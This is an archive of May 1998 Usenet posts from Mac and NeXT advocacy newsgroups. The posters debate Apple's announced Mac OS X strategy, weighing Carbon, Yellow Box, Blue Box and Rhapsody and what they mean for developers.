References: <6jcm38$1cc$27@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>> If your coding for Yellow Box you
>> can whine about the licensing fees being $20
>>
>whine! :-)
>Actually, it could be a lot worse. This is a pain in the bottom, but at
>least we still have our legs.
It does make cross-platform games (especially shareware!) using YB less
likely, though.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 14 May 1998 08:30:41 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6je32h$jvi$1@larry.admin.phil.uu.nl>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at>
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Christian:
>3 Unix reasons:
>Stability
>Stability
>Stability
And a fourth one: flexibility. You can much easier built
things with the Unix infrastructure present.
Freek
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 14 May 1998 08:31:34 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6je346$k0f$1@larry.admin.phil.uu.nl>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <nospam-1305981544240001@pool002-max3.ds12-ca-us.dialup.earthlink.net>
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Robin:
>> 3 Unix reasons: Stability Stability Stability
>No longer much of an issue since 7.6.1.
_Je_zus.
Freek
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
Date: 14 May 1998 08:35:24 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6je3bc$k1g$1@larry.admin.phil.uu.nl>
References: <6jbr7v$1cc$12@ironhorse.plsys.co.uk> <B17F2028-29E22@206.165.43.172> <355a3b20.0@news.camtech.net.au> <see-below-1305982237220001@209.24.241.190>
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Matthew:
>I wouldn't guess they'd retool YB just to use QuickDraw,
Yes that seems unlikely, doesn't it? One of the reasons I
still expect that Yellow will get pushed out of Mac OS X,
after all.
Freek
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:04:33 -0700
Message-ID: <see-below-1305982104330001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com>
In article <EsvyFs.7qK@micmac.com>, nospam@micmac.com wrote:
> This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> (<see-below-1205981743380001@209.24.240.213>) by Matthew Vaughan:
>
> > Oh? Where did Apple suggest Carbon would run on Intel?
>
>
> And I suggest that you read these comments by Mike Paquette:
>
> <<Who says they[Carbon APIs]'re not portable??? :-)
> Erf, erf, erf...>>
>
>
> ERF, ERF, ERF!!!
If they're going to do that, why not just cancel Yellow Box right now?
Just because it can be done doesn't make it likely, or even a good idea.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 15:52:47 -0500
Organization: NASA/MSFC HR-20
Message-ID: <djboccip-1305981552470001@qburst.msfc.nasa.gov>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <1d8z55p.vwwxef1p1uvo1N@roxboro0-057.dyn.interpath.net>
In article <1d8z55p.vwwxef1p1uvo1N@roxboro0-057.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
>
> Tepid support for YB is easy to explain:
> OpenDoc
> QDGX
> PowerTalk
> Copland
> .
> .
> .
>
The first three items you listed have (a) been made available
to developers prior to release, (b) been released and (c) met
with little developer interest, and hence placed in maintenance
mode or phased out.
If you don't think it's the developer's responsibility to
make a reasonable assesment of whether a promised (and incidentally
delivered) technology will take hold, and thus devote effort (or not)
to incorporating it, you're delusional. The world is littered
with adventurous but mediocre Wintel technologies that went
nowhere, in case you've forgotten. Your list could as easily
have been:
QuickTime
ColorSync
OpenTransport
.
.
.
... and still have contributed nothing to understanding why there's
been tepid developer support for YB.
Many of the Copland improvements (though not the critical ones)
have already been incorporated into MacOS 8. Partial and much
belated delivery, granted, but the only one of relevance to your
point (tepid support for YB).
DJB
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 21:04:00 GMT
Organization: Michigan State University
Message-ID: <6jd1s0$5nv$2@msunews.cl.msu.edu>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com>
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Cc: Limeyville@spamtoNull.com
In <3559F9D8.2336B338@spamtoNull.com> Jonathan Harker wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> >
> > Well, Apple is promising to deliver on this -- i.e., Carbon.
> > What is everybody's problem ?
> >
>
>
>
> Two thoughts come to mind:
>
> 1) "Apple is promising"
>
> and
>
> 2) 18 months
Well I've watched you rant and rave. Look what is your problem?
Last year apple was touting YellowBox API's. They said code for
Openstep and your port to Rhapsody should be relatively straightforward
AFAIK this is still true. At that time MacOS developers were facing
the daunting task of porting to YB API's (or Openstep API's) to get
on Rhapsody.
If you followed this prescription you loose nothing. Your apps will
run on Rhapsody 1.0 and up (if there is a up). Even if Rhapsody
was to dissappear if YellowBox is done right you still get MacOS X.
I suspect DPS will become X and I'm not sure how this will be
handled in YB. But because of those licensing issues it must
be done. Thing is a large amount of your code should still
port to MacOS X and hopefully Apple will come up with suitable
replacements for the Display calls, may just start avoiding pswraps
NOW BTW.
If you continued to develop for MacOS 7,8 (I don't know why
anyone would) then you've been given an opportunity to get
to MacOS X natively w/o going fully YB. AND if your lucky
a tool will magically appear to convert Carbon to YB, and
gee maybe the reverse.. Even so last year MacOS developers
were told to start moving to YB since that was the new plan.
YB is going no-where? Read this: IT IS THE CORE OF APPLE's
TECHNOLOGY. If you code there you'll be fine as long as
Apple is around. If they screw that up then you can moan
and groan. Frankly I'll be trying to code in such a way as
to isolate GUI from the guts JIC (if I start coding for YB).
I frankly can't see how anyone really has been hurt here.
As a YB developer I should still be fine. Rhap has been pushed
back. That is the down side. The upside is we're going to get
a lot of Java calls integrated right along side of Yellow Box.
Downside also is the small runtime fee for the YB runtimes.
Hopefully this will get straightened out. I suspect many will
pool apps together into packages to ease this cost for 95/NT
users.
As a MacOS developer I should be estatic. If Apple follows
up on what it says they will release the subset of system calls
minus the new ones they want to add so that folks can start
Carbonifying code now. Hell it'll still run on 7.x, 8.x, Rhapsody
in Bluebox, and eventually straight shot to MacOS X. You
don't have to and you'll still be where you thought you were
6 months ago (i.e in BlueBox on Rhapsody). What did you loose?
What did you gain? A chance to MacOS X which you didn't
have at all.
As a MacOS user I might be dissappointed there seems to
be no YB for MacOS currently planned. But I still have
the option of Rhapsody & BlueBox. I can check it out
and see what the performanc is like, and at least when a
app chokes it won't require a reboot of the whole machine.
Downside I can't purchase Rhapsody now like I hoped.
The question of what apps will run in Bluebox is still there
but the suspicion is that many of the productivity apps will
run fine. System tools is another matter if they want to do
anything to the hardware at a low level.
So if your going to bitch about anything bitch about the fact
that Rhapsody is very late, and that the only shipping
products now are MacOS8.x, Openstep4.2, WO, EOF, PDO.
And frankly those are solid criticisms that Apple should take
seriously. Something else why Macify Openstep if your
only going to use it as a server?? Apple wasted a lot of
time here - but they will recoop it in MacOS X I guess.
Also you can bitch that Apple is going a dual OS strategy
rather than a single OS to save any development costs
but I would argue that since MacOS X is a direct decendant
of Rhapsody that the Rhapsody part of MacOS will keep pace
with YB developments (i.e. the only two dev teams
will be YB/Rhapsody and MacOS->Carbon->YB). Not too
bad if I say so. It's looking more like one OS with Carbon/MacOS
tacked on (BlueBox in Rhapsody and in the future Carbon
and BlueBox in MacOS X)
So quit nitpicking and moaning and groaning. If you have a solid
business grip then make it, but if not then shut up. I don't see
what anyone looses except 3 very important months till
Rhapsody releases and if your developing YB you care because
your revenue stream from selling apps has been pushed back.
If your developing for MacOS then you should be happy for
hope in the form of MacOS X where there was only YB, and if
you carbonify now you can still ship on 7.x, 8.x (NOW) and
three months on Rhapsody, and in 18-24 on MacOS X.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Date: Thu, 14 May 1998 00:04:51 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <djboccip-1405980004510001@tnt2-74.hiwaay.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <6jcqdt$rkr@nntp02.primenet.com> <nagleEsxEDn.2M6@netcom.com>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <nagleEsxEDn.2M6@netcom.com>, nagle@netcom.com (John Nagle) wrote:
>...
> With Apple, the "feeling stupid" part comes after you learn the new
> API and Apple doesn't ship it. Look at the people who fell for
> OpenDoc, QuickDraw GX, Bedrock, Rhapsody, etc.
>
> Incidentally, what 3D strategy is Apple pushing this week?
> QuickDraw 3D? OpenGL? Direct-3D?
>
> John Nagle
> www.animats.com
Good lord. What 3D strategy is _anybody_ pushing this week? This
is hardly Apple-specific....
DJB
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 22:27:27 -0700
Message-ID: <see-below-1305982227280001@209.24.241.190>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <35597958.2ED785AD@milestonerdl.com> <terjery-1305981402580001@apix.ifi.ntnu.no> <35598540.E4C37882@milestonerdl.com>
In article <35598540.E4C37882@milestonerdl.com>, mark@milestonerdl.com wrote:
> Terje Rydland wrote:
>
> > In article <35597958.2ED785AD@milestonerdl.com>, mark@milestonerdl.com
wrote:
> >
> > > Christian Benesch wrote:
> > >
> > > > Is there really such a Unix-phobia in the Mac-community?
> > >
> > > Yup. There is. They are 'comfortable' with 'MacOS'
> >
> > No, there isn't.
>
> Yes there is.
>
> > It's just that UNIX and MacOS are made for different
> > markets. MacOS is made for those who prefer "personal" computing with as
> > little hassle as possible, while UNIX is primarily a server OS with an
> > appeal to computer "geeks". It has nothing to do with phobia og
> > intelligence or whaterver. It is called "using the best tool for the job".
> > For what I do it is a Mac. For our network backbone it is UNIX.
>
> You seem to be forgetting that the PLAN was (at one time) to take Unix
and graft
> the Macintosh experience on top. That was fought. And fought, and fought.
>
> Till you have the carbon plan.
Err, it wasn't that that was fought (since it's still there). It was
forcing thousands of developers to port over 10,000 applications to a
totally different framework in order to not be relegated to what amounted
to an emulation environment that was fought.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Wed, 13 May 1998 22:30:17 -0700
Message-ID: <see-below-1305982230170001@209.24.241.190>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at>
In article <355A14F6.3A0CD0CB@unet.univie.ac.at>, Christian Benesch
<a9226931@unet.univie.ac.at> wrote:
> 3 Unix reasons:
> Stability
> Stability
> Stability
>
> And this will help elementary schools and graphic artists and everyone
else, even
> though they will never open a UNIX shell window.
But not at the cost of everything else they value MacOS for. Rhapsody
would have provided a partial solution (the MacOS part would be slighted),
and MacOS 10 provides a complete solution.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 22:20:01 -0700
Organization: Trilithon Research and Trading
Message-ID: <355A7F01.2DC4FA27@trilithon.com>
References: <djboccip-1305981552470001@qburst.msfc.nasa.gov> <B17F8171-2CCAA@206.165.43.40>
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Lawson English wrote:
* I think that you are re-inventing history. OpenDoc met
* with TREMENDOUS developer interest. 1000 major companies
* endorsed it
Tell you what, Awesome Lawson:
1. provide a list of the one thousand companies that
endorsed it, and then,
2. provide a list of companies that are now using it,
both in absolute numbers and as a percentage of the
once ecstatic thousand that "endorsed" it.
* (name 100 companies that have endorsed MacOS X).
A clever bloke like you ought to be able to do a little
research project like that, given all the free time you have.
* GX met with tremendous developer interest. How many GX
* books were sold, I wonder?
Well, I bought one --- boring boring. Ran the entire gamut of
emotion from A to B.
Perusing book titles on the subject of "GX", I find that
Apple published seven volumes (with the emphasis on volume, as
opposed to useful content) on the "Inside Macintosh --- QuickDraw
GX series. But Hewlett-Packard turns up as a clear winner in the
GX arena, with thirteen books on the HP 48G/GX Calculator. Time
for you to become a HP 48GX proseletyser.
* How many people learned the API?
As a QDGX panegyrist, you're supposed to know all this stuff
and educate us untouchables and bring us religion.
* Relatively few people were writing apps for it,
Of course, it's so kick-arse fabuloso, that very few people were
interested in writing to it, but:
* but of those apps that DO use it,
Care to provide a list of precisely how many apps?
* virtually
Care to quantify "virtually"?
* all commercial apps are ranked 3 stars and above by
* MacWorld/MacUser.
Care to name the companies and the apps? After all, as a
QDGX panegyrist, you should have all this information at your
fingertips, or somewhere.
* And, once GXFCN starts shipping, watch the interest
* go right back up.
Well, you could help get it shipped if you didn't spend your
life posting to UseNet.
* PowerTalk was met with tremendous interest also. Woz
* once told me that he is STILL finding uses for it.
Cool --- I occasionally find uses for my Aristo Hyperbolog
slide rule that I purchased in 1961.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 22:45:57 -0700
Message-ID: <see-below-1305982245580001@209.24.241.190>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net>
In article <6jchjg$9nl$1@interport.net>, float@interport.net wrote:
> Matthew Vaughan (see-below@not-my-address.com) wrote:
>
> : But how do you explain the tepid support for Yellow Box among Mac
> : developers, and their enthusiastic endorsement of Carbon?
>
> Their attachment to their existing code base and expertise in the MacOS
> API is understandably strong. Learning to code for Yellow Box would
> require them to feel stupid again, a lot of people aren't willing to do
> this.
>
> Those who bite the bullet will be suitably rewarded with faster
> development cycles and better final products.
Agreed, but it's more fundamental than that. Many developers simply don't
have the resources to devote to such efforts. They're too busy with other
things, like new features or Windows ports. Now you could argue that once
they transition, YB would make all of this much easier, but you're really
asking them to write applications on faith for a market that doesn't yet
exist. Since they might have to give up much of their current efforts, I
doubt many are willing to do that.
Application developers are just asking for a chance to move into that
market without having to risk so much.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 22:49:16 -0700
Message-ID: <see-below-1305982249160001@209.24.241.190>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244> <35583135.7CE2CEC9@milestonerdl.com> <6jcjun$1cc$24@ironhorse.plsys.co.uk> <*johnnyc*-1305981509360001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-1305981509360001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> Everyone in this thread please read
> http://www.macintouch.com/m10jorg.html before continuing any further. It
> doesn't cover everything (Yellow box on MacOS?).
> It is by the project lead for Virtual PC.
Yes, this is the best overview I've yet seen.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why ''Carbon''?
Date: 13 May 1998 21:02:15 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd7eb2$5d1cf820$04387880@test1>
References: <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu> <pxpst2-1203981917020001@pelli.pathology.pitt.edu> <1d8zgpf.jeksqt1yrrjeqN@quern.demon.co.uk>
> Peter, I hope all this is true. Forgive my bluntness, but how are you
so
> sure?
>
> I'd be delighted to know that MacOS X is what we'd previously known
as
> Rhapsody Unified, only with Carbon at a similar level to Yellow Box
and
> Basically - what's your source?
There is a lot of contradictory stuff being said right now. First, I
would avoid *any* quotes from the trade journals right now. I would
listen to the developers attending the conference who have more at
stake than the journalists, and it will probably be next week until
consensus as to what is really happening is reached.
One note to consider, when the VP from Adobe demonstrated the
Carbonized version of Photoshop 5, he was running it on Rhapsody DR2.
One wild card to watch (IMHO) is Display PostScript (DPS).
Todd
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Wed, 13 May 1998 23:26:32 -0700
Message-ID: <see-below-1305982326320001@209.24.241.190>
References: <6ja5o4$k4$1@news.idiom.com> <B17DFB11-30D936@204.210.19.214> <see-below-1205981915240001@209.24.240.213> <6jbu6s$nd$1@leonie.object-factory.com>
In article <6jbu6s$nd$1@leonie.object-factory.com>,
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
Carbon is *not* based on Latitude. My initial reaction after hearing
> details was that it's the already-ported Toolbox parts of the QT layer,
> cleaned up. This was confirmed by Jordan Dea-Matteson (sp?) on the
> rhapsody-talk mailing list. Of course what was NOT explained or mentioned
> is how the layers interact, i.e. is Carbon a wrapper around YB calls
> (possible, but doubtful), is the 'new YB' an OO wrapper around the
> procedural Carbon layer (<BLINK>BAD IDEA</BLINK>) or are both layered
> on a portable, as of yet unnamed core layer? If so, why the hell is
> Apple unable to say so?
From the schematic I've seen, it looks like the third possibility.
> The BSD/UNIX layer question has been 'answered' conflictingly
Again, what I saw (at macintouch) shows a POSIX-complaint layer of shared
system services underneath all the other layers, including BSD. That is,
BSD is just a high-level layer, like Yellow Box, Blue Box, and Carbon.
They appear next to each other in the schematic, implying that they don't
rely on one another for services.
This mid-level POSIX layer sits on top of Mach, of course, and it appears
none of the 4 high-level units talk to Mach directly.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 23:07:51 -0700
Message-ID: <see-below-1305982307510001@209.24.241.190>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu>
In article <6jcn9b$6ns$2@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> In <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> "Raymond S." wrote:
>
> > 3. Blue Box will be the same as it is today, except invisible, a
> > emulator/run-time-environment (not the time or place for that
> argument) for
> > pre-Carbon ( <MacOS8) applications. Apple will probably make the
> Blue Box
> > as unobvious as possible, meaning that you would only be able to tell
> you
> > are running non-Carbon MacOS applications if one of the crashes and
> takes a
> > number of other applications (other Blue Box applications) down with
> it.
> > Will not be available on Intel.
>
> It is hard to say how Bluebox is going to evolve - I don't see any
> definative
> word on what calls BlueBox will implement on Rhapsody vs. MacOS
> X/Carbon.
> Right now I expect BlueBox is pre-carbonized. When it hits MacOS X I
> see
> no reason to remove the pre-carbonized functionality, but it may be
> that if
> at run time it can be determined that an app has been carbonized that
> it
> will run a slightly different Bluebox than now in Rhapsody. So we
> could
> say that right now we have Bluebox(precarbon-BC) and later we'll have
> Bluebox(postcarbon-PC) whether we will have them both (BC - with all
> the crash prone gunk) or (PC- cleaner, less crash prone, etc.) in MacOS
> X
> is yet to be seen. Also what Bluebox(BC) and (PC) are going to look
> like is still to be seen. I don't have a PPC (yet!) so I won't be
> able to tell :(
Ah! I think you're misunderstanding this. Carbon is _not_ the Blue Box.
They are two seperate things that can both run at the same time.
Blue Box is essentially a virtual machine/run-time-environment in which
you actually run a copy of traditional MacOS, complete with extensions,
emulated 68k code, etc. inside a single process. It may or may not be able
to run carbonized apps (and it shouldn't need to). The main change that
may occur to Blue Box between now and then is that it will become
transparent in the sense that all apps - Blue Box, Carbon, and Yellow Box
- will share the same interface, instead of requiring screen-switching to
access the Blue Box (or putting the whole Blue Box MacOS interface inside
a Window).
Carbon is a stripped-down version of the Mac APIs which communicates
directly with the POSIX underlayer. There is no actual copy of MacOS
running here, and no emulated code. Carbon apps are "native"
Rhapsody/MacOS10 apps in the same way Yellow Box apps are, and each one
gets its own process.
MacOS 10 will have both Carbon and Blue Box. They are separate things,
though the end user should never be aware of this (due to the transparency
of the upgraded Blue Box).
Thus you can still run all older (even 68k) Mac apps, though they will all
share a single address space and be cooperatively multitasked against each
other.
Carbibuzed apps do not run inside the Blue Box.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Wed, 13 May 1998 23:14:42 -0700
Message-ID: <see-below-1305982314420001@209.24.241.190>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com> <Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk>
In article <6jcl93$1cc$26@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <Esvx8v.6n8@micmac.com> Michel Coste wrote:
>
> > And since Rhapsody was never the official name of the future system we can
> > say that nothing has changed...
> >
> Except that unfortunately Rhapsody will now be released as "Rhapsody".
>
> I say unfortunately purely from the perspective of an OPENSTEP developer: the
> strategy Apple has outlined is technically very good for us; from the
> marketing perspective it makes things difficult. The average customer is
> going to need a lot of convincing that Rhapsody 1.0 isn't just going to be an
> orphaned product on release -- if you need proof look at how many people here
> still think Rhapsody's dead. This means that it's going to be a lot more
> difficult gaining new sales than it need have been had the strategy been more
> transparent. Making the strategy more transparent, however, might have been
> the greater of the two evils.
>
> Best wishes,
>
> mmalc.
Perhaps they should even rename Rhapsody CR1 as "MacOS Enterprise 1.0" or
something? That would give it the impression of commitment it needs.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:31:15 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A0313.E62651A2@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jonathan Harker wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> > Well, Apple is promising to deliver on this -- i.e., Carbon.
> > What is everybody's problem ?
> Two thoughts come to mind:
> 1) "Apple is promising"
> and
> 2) 18 months
Add to that3) sudden shift. (Yea, the signs were there....but it was a
sudden public shift)
When giants move suddenly, insects get squashed.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 13 May 1998 21:29:12 GMT
Organization: Michigan State University
Message-ID: <6jd3b8$5nv$3@msunews.cl.msu.edu>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com>
<Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: malcolm@plsys.co.uk
In <6jcl93$1cc$26@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> In <Esvx8v.6n8@micmac.com> Michel Coste wrote:
>
> > And since Rhapsody was never the official name of the future system
we can
> > say that nothing has changed...
> >
> Except that unfortunately Rhapsody will now be released as
"Rhapsody".
>
> I say unfortunately purely from the perspective of an OPENSTEP
developer: the
> strategy Apple has outlined is technically very good for us; from the
> marketing perspective it makes things difficult. The average
customer is
> going to need a lot of convincing that Rhapsody 1.0 isn't just going
to be an
> orphaned product on release -- if you need proof look at how many
people here
> still think Rhapsody's dead. This means that it's going to be a lot
more
> difficult gaining new sales than it need have been had the strategy
been more
> transparent. Making the strategy more transparent, however, might
have been
> the greater of the two evils.
>
> Best wishes,
>
Hi,
I have to agree. Steve Jobs has a knack for doing this. Personally I
think
that rather than ignore Rhapsody he should have started the show with
it.
Show YellowBox and BlueBox side by side. Talk about the fact that YB
IS
where Apple wants everyone to go. At that point during the boo's and
whines
he could have announced to all the booers etc. And for all you folks
that
